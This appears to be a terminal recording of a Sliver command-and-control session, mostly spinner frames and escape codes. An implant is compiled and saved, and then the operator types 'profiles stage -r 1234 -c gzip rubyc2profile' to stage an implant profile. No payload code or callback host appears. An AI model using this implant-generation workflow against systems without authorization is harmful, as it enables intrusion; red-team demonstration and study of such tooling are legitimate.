[24.352526, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[24.454351, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[24.55628, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[24.657371, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[24.75848, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[24.859267, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[24.959461, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[25.060564, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[25.162727, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[25.263343, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[25.363693, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[25.464516, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[25.565162, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[25.665796, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[25.767067, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[25.867645, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[25.968199, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[26.069678, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[26.170443, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[26.271219, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[26.372533, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[26.477293, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[26.582258, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[26.682832, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[26.783782, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[26.884469, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[26.98542, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[27.085883, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[27.186681, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[27.291383, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[27.39224, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[27.493164, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[27.594256, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[27.694824, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[27.799652, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[27.90059, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[28.001093, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[28.104266, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[28.207097, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[28.307733, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[28.408469, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[28.509457, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[28.609773, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[28.710493, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[28.810968, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[28.911542, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[29.016191, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[29.116258, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[29.219709, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[29.320483, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[29.421196, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[29.523246, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[29.627781, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[29.728322, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[29.829048, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[29.930456, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[30.033489, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[30.135195, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[30.235792, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[30.33956, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[30.442875, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[30.543678, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[30.647029, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[30.747572, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[30.849218, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[30.949794, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[31.050715, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[31.155215, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[31.25875, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[31.360436, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[31.464106, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[31.56458, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[31.665079, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[31.769546, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[31.872848, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[31.974784, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[32.075555, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[32.1755, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[32.233803, "o", "\r\u001b[2K"]
[32.245108, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/VISITING_PERFUME\r\n"]
[32.245289, "o", "\r\n"]
[32.253888, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[32.254289, "o", "\u001b[1 q"]
[32.25471, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[32.256764, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D"]
[32.257528, "o", "\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
[34.128204, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[34.142499, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
[34.201996, "o", "\u001b[?25l"]
[34.20325, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[34.207005, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[34.207858, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
[34.310293, "o", "\u001b[?25l\u001b[214D"]
[34.31141, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[34.323865, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C"]
[34.32553, "o", "\u001b[214D\u001b[12C\u001b[?25h"]
[34.4571, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[34.462641, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
[34.571084, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[34.572672, "o", "\u001b[6n"]
[34.577385, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[34.578663, "o", "\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
[34.657516, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[34.658457, "o", "\u001b[6n"]
[34.662102, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
[34.701732, "o", "\u001b[?25l"]
[34.703431, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[34.708377, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[34.70947, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
[34.774173, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[34.778799, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[34.78038, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
[34.922786, "o", "\u001b[?25l"]
[34.924334, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[34.927708, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
[35.134338, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[35.14535, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22ms\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[35.146441, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C\u001b[214D\u001b[19C\u001b[?25h"]
[35.292762, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[35.319607, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mst\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
[35.51449, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[35.521553, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22msta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[35.523198, "o", "\u001b[214D\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
[35.769543, "o", "\u001b[?25l"]
[35.774309, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[35.785456, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstag\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[35.787261, "o", "\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
[35.895696, "o", "\u001b[?25l"]
[35.901469, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[35.906875, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[35.90735, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[23D\u001b[9C\u001b[214D\u001b[23C\u001b[?25h"]
[36.017525, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[36.030982, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[36.031216, "o", "\u001b[1A\u001b[24D\u001b[9C\u001b[214D\u001b[24C\u001b[?25h"]
[36.93346, "o", "\u001b[?25l"]
[36.938342, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[36.945478, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[25D"]
[36.94629, "o", "\u001b[9C\u001b[214D\u001b[25C\u001b[?25h"]
[38.839397, "o", "\u001b[?25l"]
[38.84835, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[38.85532, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[38.855651, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
[39.005073, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[39.006455, "o", "\u001b[6n"]
[39.010547, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[27D\u001b[9C\u001b[214D\u001b[27C"]
[39.011456, "o", "\u001b[?25h"]
[39.519987, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[39.527033, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[39.527532, "o", "\u001b[214D\u001b[1A\u001b[28D\u001b[9C\u001b[214D\u001b[28C\u001b[?25h"]
[39.787197, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[39.797778, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m12\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[39.799188, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[29D\u001b[9C\u001b[214D\u001b[29C\u001b[?25h"]
[39.999132, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.011313, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m123\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[30D\u001b[9C\u001b[214D\u001b[30C\u001b[?25h"]
[40.311038, "o", "\u001b[?25l"]
[40.317247, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.323526, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A"]
[40.324193, "o", "\u001b[31D\u001b[9C\u001b[214D\u001b[31C\u001b[?25h"]
[40.447177, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.46285, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[40.465862, "o", "\u001b[214D\u001b[1A\u001b[32D\u001b[9C\u001b[214D\u001b[32C\u001b[?25h"]
[40.895034, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[40.900167, "o", "\u001b[6n"]
[40.907879, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[33D\u001b[9C\u001b[214D\u001b[33C\u001b[?25h"]
[41.287085, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[41.29009, "o", "\u001b[6n"]
[41.296285, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[41.297899, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[34D\u001b[9C\u001b[214D\u001b[34C\u001b[?25h"]
[41.687377, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[41.693329, "o", "\u001b[6n"]
[41.701093, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[41.702305, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[35D\u001b[9C\u001b[214D\u001b[35C\u001b[?25h"]
[42.727279, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[42.735408, "o", "\u001b[6n"]
[42.741655, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[36D\u001b[9C\u001b[214D\u001b[36C\u001b[?25h"]
[42.971052, "o", "\u001b[?25l"]
[42.971939, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[42.983551, "o", "\u001b[6n"]
[42.988518, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mgz\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[37D\u001b[9C\u001b[214D"]
[42.989979, "o", "\u001b[37C\u001b[?25h"]
[43.121318, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[43.12898, "o", "\u001b[6n"]
[43.133523, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mgzi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[43.134619, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[38D\u001b[9C\u001b[214D\u001b[38C\u001b[?25h"]
[43.179021, "o", "\u001b[?25l"]
[43.18039, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[43.18097, "o", "\u001b[6n"]
[43.183315, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mgzip\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[43.183408, "o", "\u001b[214D\u001b[1A\u001b[39D\u001b[9C\u001b[214D\u001b[39C\u001b[?25h"]
[44.591398, "o", "\u001b[?25l\u001b[214D"]
[44.591978, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[44.596545, "o", "\u001b[6n"]
[44.605156, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mgzip \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[40D\u001b[9C"]
[44.606302, "o", "\u001b[214D\u001b[40C\u001b[?25h"]
[44.865304, "o", "\u001b[1 q"]
[44.897245, "o", "\u001b[1 q"]
[44.897427, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[44.899865, "o", "\u001b[6n"]
[44.90211, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mstage \u001b[1m\u001b[38;05;244m-r \u001b[39m\u001b[22m1234 \u001b[1m\u001b[38;05;244m-c \u001b[39m\u001b[22mgzip rubyc2profile \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[44.902336, "o", "\u001b[214D\u001b[1A\u001b[54D\u001b[9C\u001b[214D\u001b[54C\u001b[?25h"]
[45.436157, "o", "\u001b[54D\u001b[9C"]
[45.440133, "o", "\u001b[6n"]
[45.443079, "o", "\u001b[214D\u001b[54C\u001b[0J\u001b[214D\r\r\n"]
[45.445288, "o", "\u001b[0 q\r\n"]
[45.577603, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[45.681874, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[45.782396, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[45.885579, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[45.986132, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[46.08714, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[46.18743, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[46.289848, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[46.390349, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[46.492372, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[46.594606, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[46.69709, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[46.798081, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[46.898401, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[47.001454, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[47.101607, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[47.203255, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[47.304917, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[47.405417, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[47.506078, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[47.607601, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[47.709833, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[47.810699, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[47.910909, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[48.015307, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[48.115706, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[48.220213, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[48.321168, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[48.422196, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[48.522765, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[48.623496, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[48.724404, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[48.824842, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[48.925352, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[49.026214, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[49.1273, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[49.228199, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[49.329307, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[49.429953, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[49.530029, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[49.631032, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[49.732103, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[49.832921, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[49.933644, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[50.034987, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[50.136644, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[50.237435, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[50.337863, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[50.442481, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[50.545466, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[50.645986, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[50.747677, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[50.848029, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[50.948283, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[51.048818, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[51.150134, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[51.251111, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[51.351426, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[51.452974, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[51.553983, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[51.654684, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[51.755187, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[51.856145, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[51.956358, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[52.056496, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[52.156822, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[52.257951, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[52.359347, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[52.460568, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[52.56118, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[52.662128, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[52.762987, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[52.863501, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[52.96414, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[53.064639, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[53.165005, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[53.265296, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[53.366214, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[53.466537, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[53.567662, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[53.67063, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[53.770936, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[53.871563, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[53.972276, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[54.073042, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[54.173212, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[54.276139, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[54.377201, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[54.47762, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[54.579072, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[54.680074, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[54.781139, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[54.881576, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[54.98194, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[55.082628, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[55.187036, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[55.291563, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[55.394091, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[55.495358, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[55.596206, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[55.697138, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[55.798132, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[55.899013, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[55.99953, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[56.103424, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
